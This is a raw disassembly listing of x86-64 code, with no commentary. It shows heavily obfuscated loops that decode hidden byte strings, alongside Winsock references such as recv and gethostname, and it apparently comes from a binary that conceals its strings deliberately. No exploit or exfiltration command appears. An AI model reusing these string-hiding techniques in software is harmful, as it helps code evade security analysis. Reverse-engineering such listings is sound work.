lea edx, [r10 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x14008a99a
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008a7a4
lea edx, [r10 - 0x62]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x52
jmp 0x14008a909
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008a32c
add r10b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140089e93
lea edx, [r10 + 0x68]
movzx eax, r9b
and al, dl
movzx ecx, r9b
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
jmp 0x14008a909
lea edx, [r10 + 0x2a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, r9b
sub dil, 0x26
add dil, dl
jmp 0x14008a99a
add r10b, 0x47
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0xf
movzx eax, byte [rbp + r11 + 0x460]
add rax, r8
add r11, rax
inc r11
jmp 0x140089e93
lea edx, [r10 - 0x3d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x55
add dil, dl
jmp 0x14008a99a
add r10b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x47
add rbx, r8
jmp 0x14008a967
lea edx, [r10 + 0x37]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x7f
add dil, dl
sub r10b, 0x79
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x4f
add r9b, r10b
mov byte [rbp + r11 + 0x460], r9b
inc r8
dec r11
inc r11
jmp 0x140089e93
lea ecx, [r11 - 0xf]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x69
inc r8
dec r11
inc r11
jmp 0x140089e93
movzx r10d, r11b
lea edx, [r10 + 0x6d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 5
add dil, dl
add r10b, 0x49
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
inc r9b
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x460], r9b
add rbx, r8
jmp 0x14008a967
lea ecx, [r11 - 0x55]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x53
add rbx, r8
jmp 0x14008a967
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub r9b, dl
lea edi, [rax + r9]
sub dil, 0x5f
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140089e93
lea rcx, [r11 + r12]
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
sub dil, 0x11
add dil, cl
movzx r10d, r11b
add r10b, 0xb
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x4d
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x460], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x14]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x74
add r9b, cl
mov byte [rbp + r11 + 0x460], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x460]
add rax, r8
add r11, rax
inc r11
jmp 0x140089e93
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub r9b, dl
lea edi, [rax + r9]
sub dil, 0x75
movzx eax, byte [rbp + r11 + 0x460]
add rax, r8
add r11, rax
inc r11
jmp 0x140089e93
sub r10b, 0x1b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x43
jmp 0x140089e90
add r10b, 0x23
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0xb
jmp 0x140089e80
lea rcx, [rbp + 0x157bb8c]
jmp 0x14008aa8f
lea rcx, [rbp + 0x12d146d]
jmp 0x14008aa8f
lea rcx, [rbp + 0x460]
lea rdx, [0x1401feb8c]
call fcn.140039a40
call fcn.14000cd80
mov dword [rbp + 0x4c], 0x43bf0000
mov dword [rbp + 0x50], 0x428c0000
lea rcx, [rbp + 0x4c]
call fcn.14001a7c0
mov dword [rbp + 0x54], 0x438d0000
mov dword [rbp + 0x58], 0x43410000
lea r12, [rbp + 0x54]
mov byte [rbp + 0x480], __WSAFDIsSet
mov byte [rbp + 0x481], 0x68
mov byte [rbp + 0x482], WSACleanup
mov byte [rbp + 0x483], 0x76
mov byte [rbp + 0x484], 0x65
mov byte [rbp + 0x485], WSAGetLastError
mov byte [rbp + 0x486], 0xa6
mov byte [rbp + 0x487], 0x8a
mov byte [rbp + 0x488], 0x61
mov byte [rbp + 0x489], 0x7a
mov byte [rbp + 0x48a], WSAGetLastError
mov byte [rbp + 0x48b], 0xcb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x48c], xmm0
mov byte [rbp + 0x49c], al
movabs r14, 0x5e0d838168b60de0
movabs r15, 0x1a288a843a2229a0
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop dword [rax + rax]
mov r11, r13
cmp r11, 0x1d
jae 0x14008b4e6
movzx r10d, byte [rbp + r11 + 0x480]
mov esi, r10d
movzx r9d, r11b
nop dword [rax]
cmp rbx, r11
ja 0x14008b4da
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008abb3
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x20
jmp 0x14008abe0
je 0x14008b465
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008b431
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008b3ea
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008b3c5
movzx r9d, r11b
cmp r8, r11
ja 0x14008b4ce
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14008ac19
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008ac60
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008b37b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008b355
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008b0fe
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008b338
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008b2b0
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14008afdc
nop dword [rax]
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14008afce
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008b09e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008afab
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008b073
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008af8b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14008af76
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14008af5b
lea rbx, [r8 + 0xa]
lea r8, [rbx + 4]
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14008b4b1
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14008b491
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14008adf2
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14008add7
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14008adbc
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14008af05
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14008aee6
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x61]
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14008aebf
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14008aea2
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14008ae84
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14008ae64
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14008ae4f
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14008ae34
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14008ae11
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14008ac70
lea rbx, [r8 + 0xa]
lea r8, [rbx + 4]
jmp 0x14008ac70
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14008ac60
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x14008abe4
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008ab80
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
dec r11
inc r11
jmp 0x14008ab63
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x14008b408
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
jmp 0x14008b449
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008b44c
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x14008b2c6
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x14008b2f2
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
movzx eax, byte [rbp + r11 + 0x480]
add rax, r8
add r11, rax
inc r11
jmp 0x14008ab63
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008b13b
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x1000
je 0x14008b29a
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x14008b0e4
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008b13b
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x14008b2c6
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
jmp 0x14008b44c
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008b449
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
dec r11
inc r11
jmp 0x14008ab63
lea edx, [r9 + 0x40]
mov ecx, 0x20
jmp 0x14008b384
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x14008b004
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x14008af1f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008b040
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
movzx eax, byte [rbp + r11 + 0x480]
add rax, r8
add r11, rax
inc r11
jmp 0x14008ab63
cmp rbx, rcx
jne 0x14008b066
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x14008b2f2
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008b091
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x14008b408
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008b0bc
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
inc r8
dec r11
inc r11
jmp 0x14008ab63
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14008af1f
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x14008b395
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008b37b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008b121
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
dec r11
inc r11
jmp 0x14008ab63
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008b3ee
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008b2b0
cmp rbx, 0x28
jae 0x14008b282
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x14008b190
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
cmp r8, 4
jb 0x14008b272
lea ecx, [r9 + 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 + 0x80]
jmp 0x14008b395
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008b1cc
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
movzx eax, byte [rbp + r11 + 0x480]
add rax, r8
add r11, rax
inc r11
jmp 0x14008ab63
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008b1f9
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008b2f2
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008b214
lea edx, [r9 + 0x40]
mov ecx, 0x20
jmp 0x14008b3f7
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008b247
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
inc r8
dec r11
inc r11
jmp 0x14008ab63
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008b168
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x14008b395
mov byte [rbp + r11 + 0x480], dil
inc r11
jmp 0x14008ab63
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
add dil, r9b
jmp 0x14008b405
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x40]
jmp 0x14008b2c6
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x60
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x480], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x80
add cl, r10b
mov byte [rbp + r11 + 0x480], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x480]
add rax, r8
add r11, rax
inc r11
jmp 0x14008ab63
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14008b44c
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
inc r8
dec r11
inc r11
jmp 0x14008ab63
mov ecx, reloc.WS2_32.dll_recv
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x480], cl
inc r8
dec r11
inc r11
jmp 0x14008ab63
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14008ab63
movzx r9d, r11b
lea edx, [r9 + 0x60]
mov ecx, 0x30
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x20
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x480], cl
jmp 0x14008b449
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14008ab63
lea rax, [r11 + r15]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x60
movzx eax, byte [rbp + r11 + 0x480]
add rax, r8
add r11, rax
inc r11
jmp 0x14008ab63
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008ab60
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x14008ab48
lea rcx, [rbp + 0x1515700]
jmp 0x14008b4ed
lea rcx, [rbp + 0xc764e0]
jmp 0x14008b4ed
lea rcx, [rbp + 0x480]
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
call fcn.140009e00
mov byte [rbp + 0x4a0], 0x22
mov byte [rbp + 0x4a1], 0xce
mov byte [rbp + 0x4a2], 0xfa
mov byte [rbp + 0x4a3], 3
mov byte [rbp + 0x4a4], 0xd0
mov byte [rbp + 0x4a5], 0xcd
mov byte [rbp + 0x4a6], 0xcf
mov byte [rbp + 0x4a7], 0xc4
mov byte [rbp + 0x4a8], 0xc3
mov byte [rbp + 0x4a9], 0xc7
mov byte [rbp + 0x4aa], 0xcf
mov byte [rbp + 0x4ab], 0xf8
mov byte [rbp + 0x4ac], 0xff
mov byte [rbp + 0x4ad], WSASetLastError
xor eax, eax
mov qword [rbp + 0x4ae], rax
mov byte [rbp + 0x4b6], al
movabs r14, 0x92d464027aefe050
movabs r15, 0xb87d2c0770cfa0f0
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
mov r11, r13
cmp r11, 0x17
jae 0x14008c1a7
movzx r10d, byte [rbp + r11 + 0x4a0]
mov esi, r10d
movzx r9d, r11b
nop dword [rax]
cmp rbx, r11
ja 0x14008c19b
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008b5f3
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x30
jmp 0x14008b613
je 0x14008c120
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008c0ec
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008c0a8
movzx r9d, r11b
cmp r8, r11
ja 0x14008c18f
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x14008b64c
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008b6a0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008c065
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008c042
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008c022
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008bf96
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008bf76
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008bf47
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14008bbc5
nop dword [rax]
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008bba6
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14008bb88
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008bb65
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14008bc7e
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008bb48
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14008bb2b
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14008bb1d
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008bb00
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008bace
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14008b6b0
lea rbx, [r8 + 9]
lea r8, [rbx + 9]
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14008c16f
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14008c14f
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14008b898
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14008b879
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14008b85e
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14008ba85
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14008ba3c
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14008ba02
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14008b9d7
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14008b6b0
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14008b9a8
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14008b988
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14008b96d
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14008b94d
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14008b938
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14008b91d
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14008b8f7
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14008b8d1
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14008b8b3
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14008b6b0
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 9]
jmp 0x14008b6b0
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x14008b6a0
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008b617
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x14008b5c0
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x14008c07b
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
inc r8
dec r11
inc r11
jmp 0x14008b5a3
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14008b5a3
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14008c0c2
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
jmp 0x14008c104
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008c107
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x14008bfb0
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008bfdd
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
movzx eax, byte [rbp + r11 + 0x4a0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008b5a3
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x4a0], dil
inc r11
jmp 0x14008b5a3
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
cmp r8, 0x42
jb 0x14008b9f2
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x40]
jmp 0x14008c07b
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 6
jae 0x14008bf09
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x14008bdf7
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14008ba18
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x14008bf2e
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x14008bd00
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14008ba56
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x4a0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008b5a3
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x14008bfdd
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14008bf9f
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x14008c107
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14008c104
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
dec r11
inc r11
jmp 0x14008b5a3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
inc r8
dec r11
inc r11
jmp 0x14008b5a3
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008c07b
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x14008bbed
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x14008ba9b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008bc2c
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x4a0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008b5a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008bc47
lea edx, [r9 + 0x60]
mov ecx, 0x30
jmp 0x14008bf9f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008bc71
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x14008c104
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008bc9d
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008c0c2
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008bccd
sub r9b, 0x20
movzx eax, r9b
and al, r10b
